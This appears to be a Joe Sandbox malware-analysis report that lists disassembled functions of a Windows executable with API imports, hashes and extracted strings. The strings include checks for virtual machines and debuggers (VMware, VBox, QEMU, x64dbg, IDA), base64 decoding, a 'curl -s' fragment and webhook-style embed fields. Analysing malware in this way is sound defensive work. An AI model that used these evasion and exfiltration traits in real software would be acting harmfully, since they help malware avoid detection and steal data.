API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1133592946-0
Opcode ID: a2b6e63c03c4307f1c7944bccec6fd587a45c4b5608812da48b03e94cda5521b
Instruction ID: 1f84c3e8b387db6aef318f02613b3f98466e3b8c71a889bc4b824e2773f0a9c0
Opcode Fuzzy Hash: a2b6e63c03c4307f1c7944bccec6fd587a45c4b5608812da48b03e94cda5521b
Instruction Fuzzy Hash: B4311823E2C6C361EA54AB21A4133BE6291AF81788F544236ED4ECB7D3DF2DB404D261

Function 00007FF670FC4710 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z.MSVCP140 ref: 00007FF670FC4725
?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z.MSVCP140 ref: 00007FF670FC4731
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF670FC473A

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$V12@$?flush@?$basic_ostream@?put@?$basic_ostream@?widen@?$basic_ios@
String ID:
API String ID: 1875450691-0
Opcode ID: f4125d65197c8cd84bb38f550762ca1077ffddb23cb634167d8243e328fd1d8f
Instruction ID: 8a315034f1e253ccbedb650bffb55152022f6d9f1fe6673502879f2570020401
Opcode Fuzzy Hash: f4125d65197c8cd84bb38f550762ca1077ffddb23cb634167d8243e328fd1d8f
Instruction Fuzzy Hash: 7BD06716A99A4692DA589F66B8A827C1321EF99F56B1CA031CD0FC7361CE3CD0998324

Non-executed Functions

Function 00007FF670FC6000 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 111encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32 ref: 00007FF670FC6065
memset.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,System,?), ref: 00007FF670FC60A6
CryptStringToBinaryA.CRYPT32 ref: 00007FF670FC60DF
_CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,System,?), ref: 00007FF670FC6195
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,System,?), ref: 00007FF670FC6141

Part of subcall function 00007FF670FC11E0: __std_exception_copy.VCRUNTIME140 ref: 00007FF670FC121E

_CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,System,?), ref: 00007FF670FC61B8

Strings

Failed to decode base64 string, xrefs: 00007FF670FC6178
System, xrefs: 00007FF670FC600C
Failed to calculate decoded size, xrefs: 00007FF670FC619B

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: BinaryCryptExceptionStringThrow$__std_exception_copy_invalid_parameter_noinfo_noreturnmemset
String ID: Failed to calculate decoded size$Failed to decode base64 string$System
API String ID: 1426166207-3746013482
Opcode ID: 14ac3170ead7c7aae9ce120748a7062de75bf1bef9c06f2a4d6b0291c8387342
Instruction ID: 54308ffedeac610ebcd3357153de7a04d30e7327fea92a16d174befa705ddf7f
Opcode Fuzzy Hash: 14ac3170ead7c7aae9ce120748a7062de75bf1bef9c06f2a4d6b0291c8387342
Instruction Fuzzy Hash: 8A417D33A2CB86A5EA50DF11E44166A7361FB85B80F544235EE8CC3BA5DF3CE581CB10

Function 00007FF670FC6440 Relevance: 14.4, Strings: 11, Instructions: 654COMMON

Download Yara Rule

Strings

text, xrefs: 00007FF670FC677C
footer, xrefs: 00007FF670FC6768
timestamp, xrefs: 00007FF670FC65EF
Security, xrefs: 00007FF670FC6450
image, xrefs: 00007FF670FC6FB3
name, xrefs: 00007FF670FC6AD9
fields, xrefs: 00007FF670FC66E8, 00007FF670FC6A55
url, xrefs: 00007FF670FC6E8C
inline, xrefs: 00007FF670FC6CF5
value, xrefs: 00007FF670FC6BEB
color, xrefs: 00007FF670FC6501

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: Concurrency::cancel_current_taskmemmove$_invalid_parameter_noinfo_noreturn$malloc
String ID: Security$color$fields$footer$image$inline$name$text$timestamp$url$value
API String ID: 1983001648-1717039157
Opcode ID: 46a93c1391e5530b796bf4ef33a6f6c6df3b4114b60fd8324e3daca41818a151
Instruction ID: ca8e4337640520f9c552b021f358b67ad421607f9aba6805a150eac8d3f23b68
Opcode Fuzzy Hash: 46a93c1391e5530b796bf4ef33a6f6c6df3b4114b60fd8324e3daca41818a151
Instruction Fuzzy Hash: 26724023918BC199E721CF74D8853DE73A4FB99308F545226DA8C97B5AEF78D294C340

Function 00007FF670FCE324 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF670FCE340
memset.VCRUNTIME140 ref: 00007FF670FCE364
RtlCaptureContext.KERNEL32 ref: 00007FF670FCE36D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF670FCE387
RtlVirtualUnwind.KERNEL32 ref: 00007FF670FCE3C8
memset.VCRUNTIME140 ref: 00007FF670FCE3FB
IsDebuggerPresent.KERNEL32 ref: 00007FF670FCE41C
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF670FCE439
UnhandledExceptionFilter.KERNEL32 ref: 00007FF670FCE444

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 9976b80456451c459783d82c79ee402152503cdb330eb85bcad0ad8866f3e4c9
Instruction ID: 97720e5b1968db7f467b7f1d0f0c5d7b94f44192c6290f3eff956dcf75d54a8d
Opcode Fuzzy Hash: 9976b80456451c459783d82c79ee402152503cdb330eb85bcad0ad8866f3e4c9
Instruction Fuzzy Hash: 8F310773619AC196EB648F60E8503AE7360FB84748F44413ADA4EC7B99DF3CD648C720

Function 00007FF670FC3E00 Relevance: 11.3, Strings: 9, Instructions: 56COMMON

Download Yara Rule

Strings

VBox, xrefs: 00007FF670FC3E9E
x64dbg.exe, xrefs: 00007FF670FC3E74
VMware, xrefs: 00007FF670FC3E97
ida64.exe, xrefs: 00007FF670FC3E82
QEMU, xrefs: 00007FF670FC3EA5
ollydbg.exe, xrefs: 00007FF670FC3E65
ida.exe, xrefs: 00007FF670FC3E89
cheatengine-x86_64.exe, xrefs: 00007FF670FC3E90
x32dbg.exe, xrefs: 00007FF670FC3E7B

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID:
String ID: QEMU$VBox$VMware$cheatengine-x86_64.exe$ida.exe$ida64.exe$ollydbg.exe$x32dbg.exe$x64dbg.exe
API String ID: 0-95170236
Opcode ID: 2be2b4a24daddba2019c7d8ab6ed27390f433343e14a35d974c3f9b3d3575544
Instruction ID: 4518031c1a480782708b9485da314e5b1f699194292a13dd427a395aff2d27d8
Opcode Fuzzy Hash: 2be2b4a24daddba2019c7d8ab6ed27390f433343e14a35d974c3f9b3d3575544
Instruction Fuzzy Hash: E0214D3762CB86A5E700CB14E8156A977A4FB84748F924132DE4CD3724DF3CE64AC750

Function 00007FF670FCE20C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF670FCE238
GetCurrentThreadId.KERNEL32 ref: 00007FF670FCE246
GetCurrentProcessId.KERNEL32 ref: 00007FF670FCE252
QueryPerformanceCounter.KERNEL32 ref: 00007FF670FCE262

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: a97b86fa2f70688a7d9bd2c8f00a38e5f6966c30de59eb49ea82c316ffeec9f8
Instruction ID: cfe711724a4483031e210e7c79fc91b7fb8169001087d1df8c9869a806bdc72a
Opcode Fuzzy Hash: a97b86fa2f70688a7d9bd2c8f00a38e5f6966c30de59eb49ea82c316ffeec9f8
Instruction Fuzzy Hash: 0C111822B28B429AEB00CB61E8693A833A4FB19758F441A31DE6DC77A4EF7CD1548350

Function 00007FF670FC9469 Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

": , xrefs: 00007FF670FC9531, 00007FF670FC961F

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID:
String ID: ":
API String ID: 0-3662656813
Opcode ID: afdbd9ddc8ce0d2222de8917e83101ed04607f0d8a705a8498dbb296d46f9d9f
Instruction ID: 9779ec1d86a7fc1294aa373f6aba8f49ef2ecc4df104d92c623bc4b3c88f8eb3
Opcode Fuzzy Hash: afdbd9ddc8ce0d2222de8917e83101ed04607f0d8a705a8498dbb296d46f9d9f
Instruction Fuzzy Hash: C4B1347761CA8591DB248B26D1893AE6BA1FB88F88F449026CF4E87760DF3DD454C740

Function 00007FF670FC5BF0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31f0e806717852df5f15dadfbf27ccdab67af9a18becda2ccef3f99adf619f2f
Instruction ID: 0c8c3789d2e6b4225ff2c7317b0dfa9d4b84f707355a6be55cb4b402ba32539f
Opcode Fuzzy Hash: 31f0e806717852df5f15dadfbf27ccdab67af9a18becda2ccef3f99adf619f2f
Instruction Fuzzy Hash: 3B5104A3B056C443DB248B49F842796F7A5FB987C5F00A126EE8D97B68EB3CD5808700

Function 00007FF670FCE4C8 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e43fc8981292af54a203ab563a8965c8683d3708787b238fdd77fd2831c2a668
Instruction ID: f17e6a8e325e342b94d022a8cea1b3b4b72d74066283e5383949b68969ba2efe
Opcode Fuzzy Hash: e43fc8981292af54a203ab563a8965c8683d3708787b238fdd77fd2831c2a668
Instruction Fuzzy Hash: 89A0012A92C886A0E6098B00E8612362220AB55304B900131D80DC36609F3CA5409220

Function 00007FF670FCB100 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 183COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF670FCB158
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF670FCB178
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF670FCB188
?getloc@ios_base@std@@QEBA?AVlocale@2@XZ.MSVCP140 ref: 00007FF670FCB1AD
??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF670FCB1C0
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF670FCB1DD
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF670FCB20F
?_Getcat@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF670FCB240
??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF670FCB288
?put@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DPEBUtm@@PEBD3@Z.MSVCP140 ref: 00007FF670FCB31B
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF670FCB338
?uncaught_exceptions@std@@YAHXZ.MSVCP140 ref: 00007FF670FCB346
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF670FCB353

Strings

Security, xrefs: 00007FF670FCB10B
System, xrefs: 00007FF670FCB109

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@V?$ostreambuf_iterator@$?good@ios_base@std@@D@std@@@std@@@std@@Lockit@std@@$??0_??1_?flush@?$basic_ostream@?getloc@ios_base@std@@?put@?$time_put@?setstate@?$basic_ios@?uncaught_exceptions@std@@Bid@locale@std@@D@std@@@2@Getcat@?$time_put@Getgloballocale@locale@std@@Locimp@12@Osfx@?$basic_ostream@Utm@@V12@V32@V42@@Vfacet@locale@2@Vios_base@2@Vlocale@2@
String ID: Security$System
API String ID: 2601024164-2661570791
Opcode ID: 32f99a87d3a5ab311aaa68574cd87bda19d4f3e88d22cf0ee314562ff2212286
Instruction ID: 9e4ccc10e85b89d04c1774bd541521197e840444184102c2ccc48d8876d5c8e3
Opcode Fuzzy Hash: 32f99a87d3a5ab311aaa68574cd87bda19d4f3e88d22cf0ee314562ff2212286
Instruction Fuzzy Hash: 6E714527A1DAC191EA65CB25E4A43BE6760FB85B85F188232CE9EC3764CF3CD445C310

Function 00007FF670FC32E0 Relevance: 13.6, APIs: 9, Instructions: 129COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF670FC3329
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF670FC3349
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF670FC3359
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF670FC33B5
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF670FC33DF
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF670FC340E
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF670FC3459
?uncaught_exceptions@std@@YAHXZ.MSVCP140 ref: 00007FF670FC3460
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF670FC346D

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?good@ios_base@std@@$?flush@?$basic_ostream@?setstate@?$basic_ios@?uncaught_exceptions@std@@Osfx@?$basic_ostream@V12@
String ID:
API String ID: 3107587312-0
Opcode ID: 4a2502ecc8ca070d43367042e3d12e437e7251f46653fbf343002d1584a05c5c
Instruction ID: 9f371351a534e003aeba3ffea8b39ba08921360b5899aef2a96e78ad5f293130
Opcode Fuzzy Hash: 4a2502ecc8ca070d43367042e3d12e437e7251f46653fbf343002d1584a05c5c
Instruction Fuzzy Hash: 49512D33618AC196EB258F19E4D023DA7A0FB95B95B158636CE4EC37A0CF2ED4468310

Function 00007FF670FC8AE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF670FC8B4F

Part of subcall function 00007FF670FCD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF670FC3975), ref: 00007FF670FCDA0A

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF670FC8BDC
memset.VCRUNTIME140 ref: 00007FF670FC8C1C
memset.VCRUNTIME140 ref: 00007FF670FC8C78
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC8D43

Strings

Security, xrefs: 00007FF670FC8AF0
System, xrefs: 00007FF670FC8AEE

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: memset$_invalid_parameter_noinfo_noreturnlocaleconvmalloc
String ID: Security$System
API String ID: 4120556116-2661570791
Opcode ID: 973c031a5a8fc9c7a0768d41abd9d7aba41af98240d1dc33b51a877cc5d0116a
Instruction ID: 7e209c3996a270b541b8387cf0797853874536a7cd4d7baf5c0e625542039b12
Opcode Fuzzy Hash: 973c031a5a8fc9c7a0768d41abd9d7aba41af98240d1dc33b51a877cc5d0116a
Instruction Fuzzy Hash: D3817732A18BC18AE760CF25E8403AE77A0F799B98F148225DE8D87B95DF3CD581C710

Function 00007FF670FC5350 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF670FC5468
memmove.VCRUNTIME140 ref: 00007FF670FC547A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC54B8
memmove.VCRUNTIME140 ref: 00007FF670FC54C2
memmove.VCRUNTIME140 ref: 00007FF670FC54D4
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC550A

Strings

\java.exe, xrefs: 00007FF670FC5470, 00007FF670FC54CA

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: \java.exe
API String ID: 2016347663-3009632800
Opcode ID: 6633e6177a3443b740a176732380e6e2b1cc47606f2338d7d892142ca5fe476f
Instruction ID: 518314298fe876c4f0e631593ed8ffe58086389bab84fe3f752d0d0c1a5b4e06
Opcode Fuzzy Hash: 6633e6177a3443b740a176732380e6e2b1cc47606f2338d7d892142ca5fe476f
Instruction Fuzzy Hash: D6419D63B29A81A5EA14DB15E4052BE6355EB48BE4F940732DE6DCBBD5DF3CD0818320

Function 00007FF670FC3C80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,00000000,00000008,?,00007FF670FC1568), ref: 00007FF670FC3D6A
memmove.VCRUNTIME140(?,00000000,00000008,?,00007FF670FC1568), ref: 00007FF670FC3D79
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000000,00000008,?,00007FF670FC1568), ref: 00007FF670FC3DAD
memmove.VCRUNTIME140(?,00000000,00000008,?,00007FF670FC1568), ref: 00007FF670FC3DB4
memmove.VCRUNTIME140(?,00000000,00000008,?,00007FF670FC1568), ref: 00007FF670FC3DC3
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC3DEE

Strings

curl -s , xrefs: 00007FF670FC3D57

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: curl -s
API String ID: 2016347663-820363595
Opcode ID: 2347ac5d59e4b872f78fe3b8aab0134d24eb6132abb724e69a6a8a2b476d51d7
Instruction ID: 7d045ffb6f25a2ff6631af4625e9f780c1b2c9eb4b9ccf585714a2bcfe0e0fe4
Opcode Fuzzy Hash: 2347ac5d59e4b872f78fe3b8aab0134d24eb6132abb724e69a6a8a2b476d51d7
Instruction Fuzzy Hash: 6B41A163B2DBC6A5EE109B16A5063AE6255EB44BD0F540732DE6ECB795DF3CE081C310

Function 00007FF670FC2CC0 Relevance: 10.8, APIs: 7, Instructions: 267COMMON

Download Yara Rule

APIs

?out@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEB_W1AEAPEB_WPEAD3AEAPEAD@Z.MSVCP140 ref: 00007FF670FC2D9A
memmove.VCRUNTIME140 ref: 00007FF670FC2E4E

Part of subcall function 00007FF670FC38C0: memmove.VCRUNTIME140 ref: 00007FF670FC39AE
Part of subcall function 00007FF670FC38C0: memmove.VCRUNTIME140 ref: 00007FF670FC39BC

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC2FEE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC3039
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC3089
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC3090
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC3096

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
